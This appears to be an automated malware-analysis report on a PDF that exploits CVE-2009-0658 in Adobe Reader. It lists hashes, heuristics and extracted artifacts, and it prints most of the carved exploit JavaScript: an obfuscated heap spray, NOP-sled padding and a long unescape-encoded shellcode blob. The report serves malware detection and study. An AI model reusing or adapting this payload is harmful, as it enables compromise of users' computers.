Malicious PDF — malware analysis report

Static analysis result for SHA-256 91d3ec2de181a693…

MALICIOUS

PDF

6.6 KB First seen: 2013-08-26
MD5: f91496eed66e7c41ed5611d59f6503a5 SHA-1: 774d7c607f93e7f3dbf58113431a27d85f12307e SHA-256: 91d3ec2de181a693c5b39dfcb0d22c8cf47caf96c20c5f75d09c0285d54b7a51
466 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File T1059.001 PowerShell

This PDF file contains embedded JavaScript and exploits the CVE-2009-0658 vulnerability, which is a known Adobe Reader JBIG2Decode heap-spray exploit. The ML classifier strongly indicates maliciousness. The embedded JavaScript is likely responsible for downloading and executing a second-stage payload.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9996

Heuristics 9

  • Adobe Reader JBIG2Decode generic heap-spray exploit critical CVE likely CVE_2009_0658_GENERIC_SPRAY
    PDF combines JBIG2Decode image streams with JavaScript heap-spray or decoder scaffolding. This is likely CVE-2009-0658-family Adobe Reader JBIG2 exploitation, but it lacks the stricter Reader-9 version gate or decoded page-word shellcode fingerprint required by the exact rule.
  • JBIG2 + active content high CVE related PDF_JBIG2_ACTIVE_CONTENT
    JBIG2Decode appears with JavaScript/XFA/RichMedia — a related indicator for JBIG2 parser-exploit families including CVE-2021-30860 and CVE-2009-0658, but not a unique CVE fingerprint.
  • ClamAV: Heuristics.PDF.ObfuscatedNameObject critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Heuristics.PDF.ObfuscatedNameObject
  • Hex-obfuscated scripting name object critical PDF_OBFUSCATED_NAME_OBJECT
    A PDF name object that drives script execution (/JavaScript or /JS) is written with #XX hex escapes to hide it from string-based scanners — e.g. /J#61v#61S#63r#69p#74 decoding to /JavaScript. Legitimate PDF producers always write these names literally; hex-encoding an executable name is a deliberate evasion used by exploit-kit and dropper PDFs.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
      var oGlurZ = "";
  var igHDXApYqRospjJIvpRjvskRo = unescape("%u2570%u8498%u46d5%u3c96%ue28c%ub935%u0cb6%ufc3a%u3db2%u0848%u05fd%u2cbf%u1a79%u66f5%u73be%u4f2f%u92a8%u86bb%u73f8%ufc2b%u7115%u7478%u777a%ue232%u8d2c%u4047%u99ba%ub493%u0bb9%ub6d5%u1c3f%u75b1%u417b%u7ebe%u2d0d%u1d3c%u4943%ue030%u9f05%u9035%u6604%ub2b0%u467d%u98b7%u4f7c%u9b4b%u96a9%uf802%ufd23%ua892%u4e91%u2f76%u240c%u3d37%u0abf%ub5d4%u21bb%u28e1%uebd3%uf520%ub367%ue383%u8c42%u79d6%u7f72%u3b70%ub8f9%u274a%u3448%u9725%u9114%u747d%u727c%u4e7b%u2575%ua8b3 …
  var nRQOoDRGBtwidyGcSjnTPbFjPCfQ = "";
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • JBIG2Decode filter medium PDF_JBIG2
    JBIG2 image decoder present — historically used in zero-click exploits
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0006_000.js pdf-javascript-stream PDF /JS object 6 at offset 0x225 5032 bytes
SHA-256: c4ccfeda39dfbb1f42fcd36566bbcdda18f11f79e27f758d3fe996825a084342
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 eval/decoder/string-building token(s). 12 of 17 identifiers look randomly generated (e.g. 'wKjmNZctYySXzsrBZexWKqpyPDqNkmsHNrkyTHuW') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
var DUYCI = "";
		var oGlurZ = "";
		var igHDXApYqRospjJIvpRjvskRo = unescape("%u2570%u8498%u46d5%u3c96%ue28c%ub935%u0cb6%ufc3a%u3db2%u0848%u05fd%u2cbf%u1a79%u66f5%u73be%u4f2f%u92a8%u86bb%u73f8%ufc2b%u7115%u7478%u777a%ue232%u8d2c%u4047%u99ba%ub493%u0bb9%ub6d5%u1c3f%u75b1%u417b%u7ebe%u2d0d%u1d3c%u4943%ue030%u9f05%u9035%u6604%ub2b0%u467d%u98b7%u4f7c%u9b4b%u96a9%uf802%ufd23%ua892%u4e91%u2f76%u240c%u3d37%u0abf%ub5d4%u21bb%u28e1%uebd3%uf520%ub367%ue383%u8c42%u79d6%u7f72%u3b70%ub8f9%u274a%u3448%u9725%u9114%u747d%u727c%u4e7b%u2575%ua8b3%u2db0%u3da9%u3478%u097f%ubff9%u73b7%u6670%u053c%u1440%u1277%u71e3%u9204%ue288%ue119%u9b4b%uf881%u8d97%ud131%u7aeb%ub867%u46b5%u0c42%u2f15%u1dbe%u24b6%u4179%u6b93%u76fd%u270d%u49b2%u47bb%ub1b9%u99ba%uf580%ue008%ud42a%u132c%u18d5%uc7fe%uc1c6%u48d6%ufc03%u1c7e%u9896%u3f4a%u4337%u8590%u4fe0%ub49f%uff87%ue3c0%u7f7e%u9235%u3997%u79e2%u7342%ub467%u2c71%ub896%u1c75%u3534%u3072%uf8d2%u4690%uf989%u8d91%u863f%ub5d4%u7877%u7d3d%u2415%u7b1d%u702d%u1437%u27b0%u9fb3%u7a9b%u114e%u49eb%u3c66%u93b6%uba99%u2998%u4fe1%ubb0c%u254a%u7c74%ubf0d%ud500%u4043%u22b2%u47fd%u41b9%ufc32%u4805%uf51a%ua9be%ub104%ua8b7%u4b2f%u6976%u7fd6%u3a7a%ue0f7%ufc10%u1b78%ub1f5%u8d3d%u727e%u3871%u46e3%uba37%ubf90%u9f0d%ubebb%u4876%uf601%u4ed6%u842f%u0cd5%u0541%ua8b9%u9299%u337d%ue2d0%u1177%u23f8%ub5d4%u3c04%ufd86%u93b3%u667b%ub014%u4235%u79b6%u6747%u494a%ua9b8%ub296%u9bb4%ue108%u301c%u2deb%u24b7%u7370%u9734%uf987%u274f%u2c4b%u7598%u257c%u743f%u1d40%u9143%u8815%u79e2%ue029%u4872%ub915%u3191%uebf7%ub266%u9bbb%u2c7f%u4676%u8cb5%uf9d3%ud569%u3d99%u1474%ub30c%u347a%ub1ba%u372d%ud619%ud42b%u701d%u3373%u02f8%u4bf5%u4292%ub427%ub741%u257b%u988d%u774e%u3c43%u2496%u0d7d%u7175%u492f%ub667%ubf4f%ub84a%ufc83%ufd28%ua93f%u7e9f%ub035%ud12a%u05e1%ue381%u1c7c%u9093%ube40%u97a8%u7847%u7974%ue332%ubf04%ue139%u4e7e%ubb90%u803c%u71e2%u2176%u73f9%u0049%u34eb%u46b5%u4fa9%u2477%u3572%u2f98%ub92d%u4797%u1a66%u7de0%ud601%u377f%u3aa8%ubef5%u4896%u7c1c%u754a%u9325%u7bb8%u911d%u85b7%u9fd5%u0370%u99fd%u0bb0%u4bf8%u27ba%u7841%u437a%ufc3b%u73b6%ud010%u0ceb%uc189%u3fe0%u157d%u187c%ub3d4%ub4b1%u3d7a%u0478%u0d7e%u709b%u6742%u0579%u2c71%ub28d%u4077%u1476%u7b92%ue120%ud422%u74b4%uf638%u1be3%ue2d2%u6614%u92b0%ub541%u0475%ub64a%ufc84%u3f72%u6b34%u7fd5%ub724%ua843%u3798%u9747%u3c2d%ubab2%u8d35%u0cbb%uc03d%u42f9%u932c%ubf46%u9091%u1596%u4849%ud613%u0599%u0d4b%u9bb9%u2740%ub3b1%u679f%ub8be%u122f%u1df5%u254f%u09a9%u1cf8%u0a4e%udafd%ud9d7%u2474%ub8f4%u946d%u28b2%u315d%ub1c9%u8338%ufced%u4531%u0313%u8728%udd50%u4f4e%u1e1d%u90ae%u967e%ua14b%uccac%u9018%u8660%u194c%uca0a%uaa64%uc37e%u1b8b%u3534%u9ca2%uf9f8%u5e68%u859a%ub372%ub77c%uc6bd%uf07d%u29a3%ua92f%u98a8%udec0%u20ec%u30e0%u187b%u359a%uedbb%u3710%u5eeb%u7f2e%ud413%ua068%u3922%u9c6b%u366d%u5658%u9e6c%u9790%ude5f%ua67f%ud350%uee7e%u0c56%u04f5%ub1a5%udf0e%u6dd4%uc29a%ue57e%u273c%u2a7f%uacda%u8773%ueba8%u1697%u807c%u93a3%u4783%ue722%u43a7%ub36f%ud2c6%u12d5%u05f6%ucbb1%u4d52%u1f53%u0ce4%ude39%u2b64%ue004%u3476%u8926%ubf47%ucea9%u6a57%u2f8e%ua7a9%ua71a%u5210%ua567%u88a2%ud0ab%u3920%u2753%u4838%u6356%ua0fe%ufc2a%uc76b%ufd99%ua4b9%u5e27%u4235%u3a39%ue3d6%u9eb6%u755b%u6b4b%ue8f9%ua198%u905d%ua9bf%u783e%u4a5a%u84a4");
		var nRQOoDRGBtwidyGcSjnTPbFjPCfQ = "";

		for (SsSNTSdFaa=128;SsSNTSdFaa>=0;--SsSNTSdFaa) nRQOoDRGBtwidyGcSjnTPbFjPCfQ += unescape("%uf580%u9648");
		YnRtLEXIrf = nRQOoDRGBtwidyGcSjnTPbFjPCfQ + igHDXApYqRospjJIvpRjvskRo;
		VoBHKMehbPhrqjfvyHlkCJQRxwazmPwHzx = unescape("%uf580%u9648");
		wKjmNZctYySXzsrBZexWKqpyPDqNkmsHNrkyTHuWGYVDkrXkMi = 20;
		QvOMTiiWpFQmKhLKGlykJauBboLzhNxXEL = wKjmNZctYySXzsrBZexWKqpyPDqNkmsHNrkyTHuWGYVDkrXkMi+YnRtLEXIrf.length
		while (VoBHKMehbPhrqjfvyHlkCJQRxwazmPwHzx.length<QvOMTiiWpFQmKhLKGlykJauBboLzhNxXEL) VoBHKMehbPhrqjfvyHlkCJQRxwazmPwHzx+=VoBHKMehbPhrqjfvyHlkCJQRxwazmPwHzx;
		GqfezzUeYLVLy = VoBHKMehbPhrqjfvyHlkCJQRxwazmPwHzx.substring(0, QvOMTiiWpFQmKhLKGlykJauBboLzhNxXEL);
		CzgNVmTPoek = VoBHKMehbPhrqjfvyHlkCJQRxwazmPwHzx.substring(0, VoBHKMehbPhrqjfvyHlkCJQRxwazmPwHzx.length-QvOMTiiWpFQmKhLKGlykJauBboLzhNxXEL);
		while(CzgNVmTPoek.length+QvOMTiiWpFQmKhLKGlykJauBboLzhNxXEL < 0x40000) CzgNVmTPoek = CzgNVmTPoek+CzgNVmTPoek+GqfezzUeYLVLy;
		Lbs = new Array();
		for (SsSNTSdFaa=0;SsSNTSdFaa<100;SsSNTSdFaa++) Lbs[SsSNTSdFaa] = CzgNVmTPoek + YnRtLEXIrf;

		for (SsSNTSdFaa=142;SsSNTSdFaa>=0;--SsSNTSdFaa) oGlurZ += unescape("%ub550%u0166");
		gSTJudjuBgNPZVnUJlHi = oGlurZ.length + 20
		while (oGlurZ.length < gSTJudjuBgNPZVnUJlHi) oGlurZ += oGlurZ;
		sxWKgtBSamStslfoJFcRqPJis = oGlurZ.substring(0, gSTJudjuBgNPZVnUJlHi);
		PcMNsSWEdyLxbWKmKOnzuOcuYkwKhuSrfSJrbeZYGDem = oGlurZ.substring(0, oGlurZ.length-gSTJudjuBgNPZVnUJlHi);
		while(PcMNsSWEdyLxbWKmKOnzuOcuYkwKhuSrfSJrbeZYGDem.length+gSTJudjuBgNPZVnUJlHi < 0x40000) PcMNsSWEdyLxbWKmKOnzuOcuYkwKhuSrfSJrbeZYGDem = PcMNsSWEdyLxbWKmKOnzuOcuYkwKhuSrfSJrbeZYGDem+PcMNsSWEdyLxbWKmKOnzuOcuYkwKhuSrfSJrbeZYGDem+sxWKgtBSamStslfoJFcRqPJis;
		eQU = new Array();
		for (SsSNTSdFaa=0;SsSNTSdFaa<125;SsSNTSdFaa++) eQU[SsSNTSdFaa] = PcMNsSWEdyLxbWKmKOnzuOcuYkwKhuSrfSJrbeZYGDem + oGlurZ;
javascript_obj0006_000_shellcode_00.bin pdf-js-shellcode pdf-js-unescape-shellcode recovered from PDF /JS object 6 at offset 0x225 1024 bytes
SHA-256: 768204f1519ed261270fc770f4751ff7e5ff6e6953c40d10b7165206a3e4a202
Detection
ClamAV: Win.Trojan.MSShellcode-6360729-4
Obfuscation or payload: unlikely

Open this report in the interactive analyzer, or submit your own file for analysis.